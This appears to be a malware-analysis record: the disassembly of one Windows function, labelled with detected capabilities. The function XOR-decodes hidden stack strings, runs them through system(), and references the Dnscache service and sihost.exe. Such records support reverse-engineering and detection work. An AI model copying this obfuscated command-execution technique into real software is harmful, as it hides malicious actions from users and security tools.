Function at 0x140052920
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Execute command

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x110]
sub rsp, 0x210
mov rax, qword [0x140071030]
xor rax, rsp
mov qword [rbp + 0x108], rax
call fcn.140004d50
lea rcx, [rbp + 0xe0]
call fcn.140052f40
lea rcx, [rbp + 0xe0]
call fcn.1400581b0
nop
call fcn.140003390
call fcn.1400038c0
mov edx, eax
call fcn.140003810
lea rcx, [rbp + 0xe8]
call fcn.14004fb00
nop
movdqa xmm1, xmmword [0x140065040]
movdqu xmmword [rsp + 0x20], xmm1
mov dl, 0x11
mov r8b, 0x1b
mov r9b, 6
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x21], al
xor byte [rsp + 0x22], cl
xor byte [rsp + 0x23], cl
xor byte [rsp + 0x24], cl
xor byte [rsp + 0x25], cl
xor byte [rsp + 0x26], cl
xor byte [rsp + 0x27], cl
xor byte [rsp + 0x28], cl
xor byte [rsp + 0x29], cl
xor byte [rsp + 0x2a], cl
xor byte [rsp + 0x2b], cl
xor byte [rsp + 0x2c], cl
xor byte [rsp + 0x2d], cl
xor byte [rsp + 0x2e], cl
xor byte [rsp + 0x2f], cl
xor dl, cl
mov byte [rsp + 0x30], dl
xor r8b, cl
mov byte [rsp + 0x31], r8b
xor r9b, cl
mov byte [rsp + 0x32], r9b
mov byte [rsp + 0x33], 0
lea rcx, [rsp + 0x21]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm1, xmmword [0x140064f90]
movdqu xmmword [rsp + 0x20], xmm1
mov dl, 0x17
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x21], al
xor byte [rsp + 0x22], cl
xor byte [rsp + 0x23], cl
xor byte [rsp + 0x24], cl
xor byte [rsp + 0x25], cl
xor byte [rsp + 0x26], cl
xor byte [rsp + 0x27], cl
xor byte [rsp + 0x28], cl
xor byte [rsp + 0x29], cl
xor byte [rsp + 0x2a], cl
xor byte [rsp + 0x2b], cl
xor byte [rsp + 0x2c], cl
xor byte [rsp + 0x2d], cl
xor byte [rsp + 0x2e], cl
xor byte [rsp + 0x2f], cl
xor dl, cl
mov byte [rsp + 0x30], dl
mov byte [rsp + 0x31], 0
lea rcx, [rsp + 0x21]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm1, xmmword [0x140065070]
movdqu xmmword [rsp + 0x20], xmm1
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x21], al
xor byte [rsp + 0x22], cl
xor byte [rsp + 0x23], cl
xor byte [rsp + 0x24], cl
xor byte [rsp + 0x25], cl
xor byte [rsp + 0x26], cl
xor byte [rsp + 0x27], cl
xor byte [rsp + 0x28], cl
xor byte [rsp + 0x29], cl
xor byte [rsp + 0x2a], cl
xor byte [rsp + 0x2b], cl
xor byte [rsp + 0x2c], cl
xor byte [rsp + 0x2d], cl
xor byte [rsp + 0x2e], cl
xor byte [rsp + 0x2f], cl
mov byte [rsp + 0x30], 0
lea rcx, [rsp + 0x21]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm1, xmmword [0x140064ff0]
movdqu xmmword [rsp + 0x38], xmm1
movdqa xmm2, xmmword [0x140065060]
movdqu xmmword [rsp + 0x48], xmm2
mov dl, 0x23
mov r8b, 0x22
mov r9b, 0x10
mov r10b, 8
mov r11b, 0x3e
mov bl, 0x3f
movdqa xmm0, xmm1
psrldq xmm0, 1
movd eax, xmm0
movd ecx, xmm1
xor al, cl
mov byte [rsp + 0x39], al
xor byte [rsp + 0x3a], cl
xor byte [rsp + 0x3b], cl
xor byte [rsp + 0x3c], cl
xor byte [rsp + 0x3d], cl
xor byte [rsp + 0x3e], cl
xor byte [rsp + 0x3f], cl
xor byte [rsp + 0x40], cl
xor byte [rsp + 0x41], cl
xor byte [rsp + 0x42], cl
xor byte [rsp + 0x43], cl
xor byte [rsp + 0x44], cl
xor byte [rsp + 0x45], cl
xor byte [rsp + 0x46], cl
xor byte [rsp + 0x47], cl
movd eax, xmm2
xor al, cl
mov byte [rsp + 0x48], al
xor byte [rsp + 0x49], cl
xor byte [rsp + 0x4a], cl
xor byte [rsp + 0x4b], cl
xor byte [rsp + 0x4c], cl
xor byte [rsp + 0x4d], cl
xor byte [rsp + 0x4e], cl
xor byte [rsp + 0x4f], cl
xor byte [rsp + 0x50], cl
xor byte [rsp + 0x51], cl
xor byte [rsp + 0x52], cl
xor byte [rsp + 0x53], cl
xor byte [rsp + 0x54], cl
xor byte [rsp + 0x55], cl
xor byte [rsp + 0x56], cl
xor byte [rsp + 0x57], cl
xor dl, cl
mov byte [rsp + 0x58], dl
xor r8b, cl
mov byte [rsp + 0x59], r8b
xor r9b, cl
mov byte [rsp + 0x5a], r9b
xor r10b, cl
mov byte [rsp + 0x5b], r10b
xor r11b, cl
mov byte [rsp + 0x5c], r11b
xor bl, cl
mov byte [rsp + 0x5d], bl
mov byte [rsp + 0x5e], 0
lea rcx, [rsp + 0x39]
call fcn.14004fad0
movdqa xmm0, xmmword [0x140065000]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140064f80]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x1400650c0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x140065130]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x140065080]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x140064fa0]
movdqa xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0x1342730
mov dword [rbp - 0x2c], 0x1c3d3538
mov dword [rbp - 0x28], 0x71730403
mov word [rbp - 0x24], 0x377e
xor eax, eax
mov byte [rbp - 0x22], al
xor ebx, ebx
mov ecx, ebx
nop
movzx eax, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x71], al
inc rcx
cmp rcx, 0x6d
jb 0x140052c60
mov byte [rbp - 0x22], bl
lea rcx, [rsp + 0x71]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140065050]
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmm1, xmmword [0x140064fe0]
movdqa xmmword [rbp - 0x80], xmm1
movdqa xmm0, xmmword [0x1400650e0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1400650a0]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x140065120]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [0x140065030]
movdqa xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0x2d092a2a
mov dword [rbp - 0x2c], 0x32392e33
mov dword [rbp - 0x28], 0x7a783e3f
mov word [rbp - 0x24], 0x3c75
xor eax, eax
mov byte [rbp - 0x22], al
nop
movzx ecx, byte [rsp + 0x70]
xor byte [rsp + rax + 0x71], cl
inc rax
cmp rax, 0x6d
jb 0x140052cf0
mov byte [rbp - 0x22], bl
lea rcx, [rsp + 0x71]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [str.Y_5yv_yvyv_y]
movdqa xmmword [rbp - 0x20], xmm0
movdqa xmm1, xmmword [0x140065090]
movdqa xmmword [rbp - 0x10], xmm1
movdqa xmm0, xmmword [0x1400650b0]
movdqa xmmword [rbp], xmm0
movdqa xmm1, xmmword [0x1400652e0]
movdqa xmmword [rbp + 0x10], xmm1
movdqa xmm0, xmmword [str.yv_yvyv_y]
movdqa xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [0x1400652f0]
movdqa xmmword [rbp + 0x30], xmm1
movdqa xmm0, xmmword [0x140065010]
movdqa xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [0x1400650f0]
movdqa xmmword [rbp + 0x50], xmm1
movdqa xmm0, xmmword [0x1400652b0]
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [0x1400650d0]
movdqa xmmword [rbp + 0x70], xmm1
movdqa xmm0, xmmword [0x140064fb0]
movdqa xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [0x140065100]
movdqa xmmword [rbp + 0x90], xmm1
movdqa xmm0, xmmword [str._5yv_yvyv_y]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [0x1400652f0]
movdqa xmmword [rbp + 0xb0], xmm1
movdqa xmm0, xmmword [0x140065010]
movdqa xmmword [rbp + 0xc0], xmm0
mov dword [rbp + 0xd0], 0x312a382b
mov dword [rbp + 0xd4], 0x29342c1d
mov dword [rbp + 0xd8], 0x7377052a
mov word [rbp + 0xdc], 0x7b
nop dword [rax]
movzx eax, byte [rbp - 0x20]
xor byte [rbp + rbx - 0x1f], al
movzx eax, byte [rbp - 0x20]
xor byte [rbp + rbx - 0x1e], al
add rbx, 2
cmp rbx, 0xfc
jb 0x140052e10
mov byte [rbp + 0xdd], 0
lea rcx, [rbp - 0x1f]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rsp + 0x20]
call fcn.140050cb0
mov rbx, rax
lea rcx, str.Dnscache
call fcn.14004fdf0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.1400512c0
lea rcx, [rsp + 0x20]
call fcn.140050cb0
mov rbx, rax
lea rcx, str.Dnscache
call fcn.14004fdf0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.1400512c0
lea rax, [rsp + 0x20]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x20]
call fcn.140051050
mov rbx, rax
lea rdx, str.sihost.exe
lea rcx, [rsp + 0x38]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x38]
call fcn.14004fc80
nop
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.1400512c0
nop
lea rcx, [rsp + 0x38]
call fcn.140002280
lea rax, [rsp + 0x20]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x20]
call fcn.1400511f0
mov rbx, rax
lea rdx, str.sihost.exe
lea rcx, [rsp + 0x38]
call fcn.1400022e0
nop
lea rcx, [rsp + 0x38]
call fcn.14004fc80
nop
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.1400512c0
nop
lea rcx, [rsp + 0x38]
call fcn.140002280
call fcn.140052050
call fcn.140051dc0
call fcn.140051af0
int3